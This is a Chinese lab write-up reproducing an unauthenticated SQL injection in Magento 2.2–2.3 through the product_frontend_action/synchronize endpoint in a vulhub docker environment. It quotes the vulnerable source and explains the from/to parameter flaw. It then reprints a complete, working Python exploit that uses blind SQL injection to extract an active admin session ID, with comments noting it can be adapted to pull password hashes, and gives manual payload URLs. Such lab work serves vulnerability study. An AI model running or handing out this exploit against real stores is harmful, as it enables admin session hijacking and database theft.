vulhub漏洞复现-magento(2.2-sqli)

Magento

Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。相对于同行来说非常灵活但性能稍微差点。magento可能不常见,其实和wordpress是同一类的,wordpress是博客的框架,Magento是电商平台的框架。

思路

<?php
/****
 ** Build SQL statement for condition
 **
 ** If $condition integer or string - exact value will be filtered ('eq' condition)
 **
 ** If $condition is array is - one of the following structures is expected:
 ** - array("from" => $fromValue, "to" => $toValue)
 ** - array("eq" => $equalValue)
 ** - array("neq" => $notEqualValue)
 ** - array("like" => $likeValue)
 ** - array("in" => array($inValues))
 ** - array("nin" => array($notInValues))
 ** - array("notnull" => $valueIsNotNull)
 ** - array("null" => $valueIsNull)
 ** - array("gt" => $greaterValue)
 ** - array("lt" => $lessValue)
 ** - array("gteq" => $greaterOrEqualValue)
 ** - array("lteq" => $lessOrEqualValue)
 ** - array("finset" => $valueInSet)
 ** - array("regexp" => $regularExpression)
 ** - array("seq" => $stringValue)
 ** - array("sneq" => $stringValue)
 **
 ** If non matched - sequential array is expected and OR conditions
 ** will be built using above mentioned structure
 **
 ** ...
 **/
public function prepareSqlCondition($fieldName, $condition)
{
    
    
    $conditionKeyMap = [                                                    [1]
        'eq'            => "{
    
    {fieldName}} = ?",
        'neq'           => "{
    
    {fieldName}} != ?",
        'like'          => "{
    
    {fieldName}} LIKE ?",
        'nlike'         => "{
    
    {fieldName}} NOT LIKE ?",
        'in'            => "{
    
    {fieldName}} IN(?)",
        'nin'           => "{
    
    {fieldName}} NOT IN(?)",
        'is'            => "{
    
    {fieldName}} IS ?",
        'notnull'       => "{
    
    {fieldName}} IS NOT NULL",
        'null'          => "{
    
    {fieldName}} IS NULL",
        'gt'            => "{
    
    {fieldName}} > ?",
        'lt'            => "{
    
    {fieldName}} < ?",
        'gteq'          => "{
    
    {fieldName}} >= ?",
        'lteq'          => "{
    
    {fieldName}} <= ?",
        'finset'        => "FIND_IN_SET(?, {
    
    {fieldName}})",
        'regexp'        => "{
    
    {fieldName}} REGEXP ?",
        'from'          => "{
    
    {fieldName}} >= ?",
        'to'            => "{
    
    {fieldName}} <= ?",
        'seq'           => null,
        'sneq'          => null,
        'ntoa'          => "INET_NTOA({
    
    {fieldName}}) LIKE ?",
    ];
        $query = '';
    if (is_array($condition)) {
    
    
        $key = key(array_intersect_key($condition, $conditionKeyMap));

        if (isset($condition['from']) || isset($condition['to'])) {
    
             [2]
            if (isset($condition['from'])) {
    
                                    [3]
                $from  = $this->_prepareSqlDateCondition($condition, 'from');
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
            }

            if (isset($condition['to'])) {
    
                                      [4]
                $query .= empty($query) ? '' : ' AND ';
                $to     = $this->_prepareSqlDateCondition($condition, 'to');
                $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
            }
        } elseif (array_key_exists($key, $conditionKeyMap)) {
    
    
            $value = $condition[$key];
            if (($key == 'seq') || ($key == 'sneq')) {
    
    
                $key = $this->_transformStringSqlCondition($key, $value);
            }
            if (($key == 'in' || $key == 'nin') && is_string($value)) {
    
    
                $value = explode(',', $value);
            }
            $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
        } else {
    
    
            $queries = [];
            foreach ($condition as $orCondition) {
    
    
                $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
            }

            $query = sprintf('(%s)', implode(' OR ', $queries));
        }
    } else {
    
    
        $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
    }

    return $query;
}

protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
{
    
    
    $sql = $this->quoteInto($text, $value);
    $sql = str_replace('{
    
    {fieldName}}', $fieldName, $sql);
    return $sql;
}

简单来说就是对不同sql语句进行构造并通过from,to将?赋予不同的定值(from,to用法一般是from:1,to:100,那么?的定值就是就是price >= ‘100’ AND price <= ‘1000’),但如果from的值中存在问号,那么to的值将成为?的定值(from:‘x?’ to: ’ OR 1=1 – + 就会变成 price >= ‘x’ OR 1=1 – -’’ AND price <= ’ OR 1=1 --+’)。上面只是一个小的举例,真实代码是不太一样的 ,那如果我们能控制第二个参数(to),那我们不就能进行sql注入了吗

在Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize中找到问题(这里还有点疑问)

<?php

public function execute()
{
    
    
    $resultJson = $this->jsonFactory->create();

    try {
    
    
        $productsData = $this->getRequest()->getParam('ids', []);
        $typeId = $this->getRequest()->getParam('type_id', null);
        $this->synchronizer->syncActions($productsData, $typeId);
    } catch (\Exception $e) {
    
    
        $resultJson->setStatusHeader(
            \Zend\Http\Response::STATUS_CODE_400,
            \Zend\Http\AbstractMessage::VERSION_11,
            'Bad Request'
        );
    }

    return $resultJson->setData([]);
}



<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);

这就导致一个未经身份验证的盲SQL注入(修改OR后的值来完成sql注入)

https://magento2website.com/catalog/product_frontend_action/synchronize?
    type_id=recently_products&
    ids[0][added_at]=&
    ids[0][product_id][from]=?&
    ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

漏洞复现

进入docker启动的环境开始Agree and Setup Magento
在这里插入图片描述
紧接着next,安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认
在这里插入图片描述

注册下载完成后登陆
在这里插入图片描述
贴上POC,python3 mangento.py http://------:8080,利用脚本跑出session

#!/usr/bin/env python3
# Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi
# Charles Fol
# 2019-03-22
#
# SOURCE & SINK
# The sink (from-to SQL condition) has been present from Magento 1.x onwards.
# The source (/catalog/product_frontend_action/synchronize) from 2.2.0.
# If your target runs Magento < 2.2.0, you need to find another source.
#
# SQL INJECTION
# The exploit can easily be modified to obtain other stuff from the DB, for
# instance admin/user password hashes.
#

import requests
import string
import binascii
import re
import random
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def run(url):
    sqli = SQLInjection(url)

    try:
        sqli.find_test_method()
        sid = sqli.get_most_recent_session()
    except ExploitError as e:
        print('Error: %s' % e)


def random_string(n=8):
    return ''.join(random.choice(string.ascii_letters) for _ in range(n))


class ExploitError(Exception):
    pass


class Browser:
    """Basic browser functionality along w/ URLs and payloads.
    """
    PROXY = None

    def __init__(self, URL):
        self.URL = URL
        self.s = requests.Session()
        self.s.verify = False
        if self.PROXY:
            self.s.proxies = {
    
    
                'http': self.PROXY,
                'https': self.PROXY,
            }


class SQLInjection(Browser):
    """SQL injection stuff.
    """

    def encode(self, string):
        return '0x' + binascii.b2a_hex(string.encode()).decode()

    def find_test_method(self):
        """Tries to inject using an error-based technique, or falls back to timebased.
        """
        for test_method in (self.test_error, self.test_timebased):
            if test_method('123=123') and not test_method('123=124'):
                self.test = test_method
                break
        else:
            raise ExploitError('Test SQL injections failed, not vulnerable ?')

    def test_timebased(self, condition):
        """Runs a test. A valid condition results in a sleep of 1 second.
        """
        payload = '))) OR (SELECT*FROM (SELECT SLEEP((%s)))a)=1 -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
    
    
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        return r.elapsed.total_seconds() > 1

    def test_error(self, condition):
        """Runs a test. An invalid condition results in an SQL error.
        """
        payload = '))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE %s) -- -' % condition
        r = self.s.get(
            self.URL + '/catalog/product_frontend_action/synchronize',
            params={
    
    
                'type_id': 'recently_products',
                'ids[0][added_at]': '',
                'ids[0][product_id][from]': '?',
                'ids[0][product_id][to]': payload
            }
        )
        if r.status_code not in (200, 400):
            raise ExploitError(
                'SQL injection does not yield a correct HTTP response'
            )
        return r.status_code == 400

    def word(self, name, sql, size=None, charset=None):
        """Dichotomically obtains a value.
        """
        pattern = 'LOCATE(SUBSTR((%s),%d,1),BINARY %s)=0'
        full = ''

        check = False
        
        if size is None:
            # Yeah whatever
            size_size = self.word(
                name,
                'LENGTH(LENGTH(%s))' % sql,
                size=1,
                charset=string.digits
            )
            size = self.word(
                name,
                'LENGTH(%s)' % sql,
                size=int(size_size),
                charset=string.digits
            )
            size = int(size)

        print("%s: %s" % (name, full), end='\r')

        for p in range(size):
            c = charset
            
            while len(c) > 1:
                middle = len(c) // 2
                h0, h1 = c[:middle], c[middle:]
                condition = pattern % (sql, p+1, self.encode(h0))
                c = h1 if self.test(condition) else h0

            full += c
            print("%s: %s" % (name, full), end='\r')

        print(' ' * len("%s: %s" % (name, full)), end='\r')

        return full

    def get_most_recent_session(self):
        """Grabs the last created session. We don't need special privileges aside from creating a product so any session
        should do. Otherwise, the process can be improved by grabbing each session one by one and trying to reach the
        backend.
        """
        # This is the default admin session timeout
        session_timeout = 900
        query = (
            'SELECT %%s FROM admin_user_session '
            'WHERE TIMESTAMPDIFF(SECOND, updated_at, NOW()) BETWEEN 0 AND %d '
            'ORDER BY created_at DESC, updated_at DESC LIMIT 1'
        ) % session_timeout

        # Check if a session is available

        available = not self.test('(%s)=0' % (query % 'COUNT(*)'))
        
        if not available:
            raise ExploitError('No session is available')
        print('An admin session is available !')

        # Fetch it

        sid = self.word(
            'Session ID',
            query % 'session_id',
            charset=string.ascii_lowercase + string.digits,
            size=26
        )
        print('Session ID: %s' % sid)
        return sid

run(sys.argv[1])

原文链接:https://blog.csdn.net/zy15667076526/article/details/111824391

在本机跑了一下
在这里插入图片描述
最后再手动测试一下

http://------:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-

在这里插入图片描述

http://--------:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-

在这里插入图片描述一个200一个400,证明通过改变OR的条件,即可实现SQL BOOL型盲注

参考博客
参考博客
参考博客

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/120756833